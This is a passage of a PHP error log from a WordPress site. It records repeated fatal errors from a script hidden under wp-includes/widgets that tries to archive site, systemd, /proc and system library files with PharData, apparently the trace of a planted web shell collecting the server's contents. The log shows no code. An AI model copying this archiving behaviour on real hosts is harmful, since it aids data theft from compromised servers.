  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:16:12 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/md5.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:18:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:20:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/freeform.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:21:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/marqueeVert.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:21:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cropper.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:22:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/effective_affinity_list.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:23:38 UTC] PHP Fatal error:  Uncaught RuntimeException: phar error: unable to open file "/lib/systemd/system/aibolit-resident.service" to add to phar archive in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->addFile()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:25:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/proxy_arp_pvlan.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:26:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dracut-pre-udev.service.service.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:26:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/rpcbind.target.target.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:26:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/sssd-autofs.service.service.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:26:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/auth-rpcgss-module.service.service.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:26:48 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/autop.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:26:48 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/db_governor.service.service.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:26:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media-utils.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:26:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/edit-widgets.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:27:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/viewport.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:27:09 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/annotations.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:27:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/shortcode.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:27:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/escape-html.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:27:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/api-fetch.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:27:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/edit-site.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:27:32 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/1956687" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:27:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block-editor.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:27:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dom-ready.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:27:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/commands.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:27:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/core-data.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:27:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/edit-post.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:27:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/keycodes.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:27:59 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/rich-text.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:28:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/patterns.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:28:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block-directory.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:28:09 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/preferences.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:28:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-engine.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:28:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/private-apis.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:28:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/reusable-blocks.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:28:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/router.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:28:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wordcount.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:28:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:28:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/blocks.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:28:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/url.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:28:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/vendor.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:29:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dom.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:29:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/components.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:29:19 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/nux.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:30:07 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/lib64/libkdb5.so.10.0" that is not in the base directory "/lib/.build-id/3d" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:30:10 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/lib64/libpsx.so.2.48" that is not in the base directory "/lib/.build-id/a6" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:30:13 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/bin/unzip" that is not in the base directory "/lib/.build-id/fa" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:30:16 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/bin/pango-list" that is not in the base directory "/lib/.build-id/ff" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:30:20 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/lib64/gconv/IBM1388.so" that is not in the base directory "/lib/.build-id/6a" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
